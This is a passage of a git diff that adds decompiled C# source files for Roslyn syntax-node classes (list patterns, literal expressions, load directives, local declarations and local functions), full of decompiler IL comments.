result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref patterns, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ListPatternSyntax)(object)((SyntaxNode)this).Green).closeBracketToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public VariableDesignationSyntax? Designation => ((SyntaxNode)this).GetRed(ref designation, 3); + + internal ListPatternSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref patterns, 1), + 3 => ((SyntaxNode)this).GetRed(ref designation, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => patterns, + 3 => designation, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitListPattern(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitListPattern(this); + } + + public ListPatternSyntax Update(SyntaxToken openBracketToken, SeparatedSyntaxList patterns, SyntaxToken closeBracketToken, VariableDesignationSyntax? designation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken != OpenBracketToken || patterns != Patterns || closeBracketToken != CloseBracketToken || designation != Designation) + { + ListPatternSyntax listPatternSyntax = SyntaxFactory.ListPattern(openBracketToken, patterns, closeBracketToken, designation); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return listPatternSyntax; + } + return listPatternSyntax.WithAnnotations(annotations); + } + return this; + } + + public ListPatternSyntax WithOpenBracketToken(SyntaxToken openBracketToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openBracketToken, Patterns, CloseBracketToken, Designation); + } + + public ListPatternSyntax WithPatterns(SeparatedSyntaxList patterns) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, patterns, CloseBracketToken, Designation); + } + + public ListPatternSyntax WithCloseBracketToken(SyntaxToken closeBracketToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, Patterns, closeBracketToken, Designation); + } + + public ListPatternSyntax WithDesignation(VariableDesignationSyntax? designation) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, Patterns, CloseBracketToken, designation); + } + + public ListPatternSyntax AddPatterns(params PatternSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithPatterns(Patterns.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LiteralExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LiteralExpressionSyntax.cs new file mode 100644 index 0000000..bea2225 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LiteralExpressionSyntax.cs @@ -0,0 +1,57 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class LiteralExpressionSyntax : ExpressionSyntax +{ + public SyntaxToken Token => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LiteralExpressionSyntax)(object)((SyntaxNode)this).Green).token, ((SyntaxNode)this).Position, 0); + + internal LiteralExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLiteralExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLiteralExpression(this); + } + + public LiteralExpressionSyntax Update(SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (token != Token) + { + LiteralExpressionSyntax literalExpressionSyntax = SyntaxFactory.LiteralExpression(Kind(), token); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return literalExpressionSyntax; + } + return literalExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public LiteralExpressionSyntax WithToken(SyntaxToken token) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(token); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LoadDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LoadDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..7a6d1f1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LoadDirectiveTriviaSyntax.cs @@ -0,0 +1,125 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class LoadDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LoadDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken LoadKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LoadDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).loadKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken File => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LoadDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).file, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LoadDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LoadDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal LoadDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLoadDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLoadDirectiveTrivia(this); + } + + public LoadDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken loadKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || loadKeyword != LoadKeyword || file != File || endOfDirectiveToken != EndOfDirectiveToken) + { + LoadDirectiveTriviaSyntax loadDirectiveTriviaSyntax = SyntaxFactory.LoadDirectiveTrivia(hashToken, loadKeyword, file, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return loadDirectiveTriviaSyntax; + } + return loadDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new LoadDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, LoadKeyword, File, EndOfDirectiveToken, IsActive); + } + + public LoadDirectiveTriviaSyntax WithLoadKeyword(SyntaxToken loadKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, loadKeyword, File, EndOfDirectiveToken, IsActive); + } + + public LoadDirectiveTriviaSyntax WithFile(SyntaxToken file) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, LoadKeyword, file, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new LoadDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, LoadKeyword, File, endOfDirectiveToken, IsActive); + } + + public LoadDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, LoadKeyword, File, EndOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LocalDeclarationStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LocalDeclarationStatementSyntax.cs new file mode 100644 index 0000000..edd3eed --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LocalDeclarationStatementSyntax.cs @@ -0,0 +1,247 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class LocalDeclarationStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private VariableDeclarationSyntax? declaration; + + public bool IsConst => Modifiers.Any(SyntaxKind.ConstKeyword); + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken AwaitKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken awaitKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LocalDeclarationStatementSyntax)(object)((SyntaxNode)this).Green).awaitKeyword; + if (awaitKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)awaitKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken UsingKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken usingKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LocalDeclarationStatementSyntax)(object)((SyntaxNode)this).Green).usingKeyword; + if (usingKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)usingKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + } + } + + public SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(3); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + } + } + + public VariableDeclarationSyntax Declaration => ((SyntaxNode)this).GetRed(ref declaration, 4); + + public SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LocalDeclarationStatementSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(5), ((SyntaxNode)this).GetChildIndex(5)); + + public LocalDeclarationStatementSyntax Update(SyntaxTokenList modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(AwaitKeyword, UsingKeyword, modifiers, declaration, semicolonToken); + } + + public LocalDeclarationStatementSyntax Update(SyntaxToken awaitKeyword, SyntaxToken usingKeyword, SyntaxTokenList modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, awaitKeyword, usingKeyword, modifiers, declaration, semicolonToken); + } + + internal LocalDeclarationStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 4 => ((SyntaxNode)this).GetRed(ref declaration, 4), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 4 => declaration, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLocalDeclarationStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLocalDeclarationStatement(this); + } + + public LocalDeclarationStatementSyntax Update(SyntaxList attributeLists, SyntaxToken awaitKeyword, SyntaxToken usingKeyword, SyntaxTokenList modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || awaitKeyword != AwaitKeyword || usingKeyword != UsingKeyword || modifiers != Modifiers || declaration != Declaration || semicolonToken != SemicolonToken) + { + LocalDeclarationStatementSyntax localDeclarationStatementSyntax = SyntaxFactory.LocalDeclarationStatement(attributeLists, awaitKeyword, usingKeyword, modifiers, declaration, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return localDeclarationStatementSyntax; + } + return localDeclarationStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new LocalDeclarationStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, AwaitKeyword, UsingKeyword, Modifiers, Declaration, SemicolonToken); + } + + public LocalDeclarationStatementSyntax WithAwaitKeyword(SyntaxToken awaitKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, awaitKeyword, UsingKeyword, Modifiers, Declaration, SemicolonToken); + } + + public LocalDeclarationStatementSyntax WithUsingKeyword(SyntaxToken usingKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, usingKeyword, Modifiers, Declaration, SemicolonToken); + } + + public LocalDeclarationStatementSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, UsingKeyword, modifiers, Declaration, SemicolonToken); + } + + public LocalDeclarationStatementSyntax WithDeclaration(VariableDeclarationSyntax declaration) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, UsingKeyword, Modifiers, declaration, SemicolonToken); + } + + public LocalDeclarationStatementSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, AwaitKeyword, UsingKeyword, Modifiers, Declaration, semicolonToken); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new LocalDeclarationStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + public LocalDeclarationStatementSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + public LocalDeclarationStatementSyntax AddDeclarationVariables(params VariableDeclaratorSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithDeclaration(Declaration.WithVariables(Declaration.Variables.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LocalFunctionStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LocalFunctionStatementSyntax.cs new file mode 100644 index 0000000..b88d865 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/LocalFunctionStatementSyntax.cs @@ -0,0 +1,331 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class LocalFunctionStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private TypeSyntax? returnType; + + private TypeParameterListSyntax? typeParameterList; + + private ParameterListSyntax? parameterList; + + private SyntaxNode? constraintClauses; + + private BlockSyntax? body; + + private ArrowExpressionClauseSyntax? expressionBody; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public TypeSyntax ReturnType => ((SyntaxNode)this).GetRed(ref returnType, 2); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LocalFunctionStatementSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public TypeParameterListSyntax? TypeParameterList => ((SyntaxNode)this).GetRed(ref typeParameterList, 4); + + public ParameterListSyntax ParameterList => ((SyntaxNode)this).GetRed(ref parameterList, 5); + + public SyntaxList ConstraintClauses => new SyntaxList(((SyntaxNode)this).GetRed(ref constraintClauses, 6)); + + public BlockSyntax? Body => ((SyntaxNode)this).GetRed(ref body, 7); + + public ArrowExpressionClauseSyntax? ExpressionBody => ((SyntaxNode)this).GetRed(ref expressionBody, 8); + + public SyntaxToken SemicolonToken + { + get + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LocalFunctionStatementSyntax)(object)((SyntaxNode)this).Green).semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(9), ((SyntaxNode)this).GetChildIndex(9)); + } + } + + public LocalFunctionStatementSyntax Update(SyntaxTokenList modifiers, TypeSyntax returnType, SyntaxToken identifier, TypeParameterListSyntax typeParameterList, ParameterListSyntax parameterList, SyntaxList constraintClauses, BlockSyntax body, ArrowExpressionClauseSyntax expressionBody, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, returnType, identifier, typeParameterList, parameterList, constraintClauses, body, expressionBody, semicolonToken); + } + + internal LocalFunctionStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref returnType, 2), + 4 => ((SyntaxNode)this).GetRed(ref typeParameterList, 4), + 5 => ((SyntaxNode)this).GetRed(ref parameterList, 5), + 6 => ((SyntaxNode)this).GetRed(ref constraintClauses, 6), + 7 => ((SyntaxNode)this).GetRed(ref body, 7), + 8 => ((SyntaxNode)this).GetRed(ref expressionBody, 8), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => returnType, + 4 => typeParameterList, + 5 => parameterList, + 6 => constraintClauses, + 7 => body, + 8 => expressionBody, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLocalFunctionStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLocalFunctionStatement(this); + } + + public LocalFunctionStatementSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, TypeSyntax returnType, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax parameterList, SyntaxList constraintClauses, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || returnType != ReturnType || identifier != Identifier || typeParameterList != 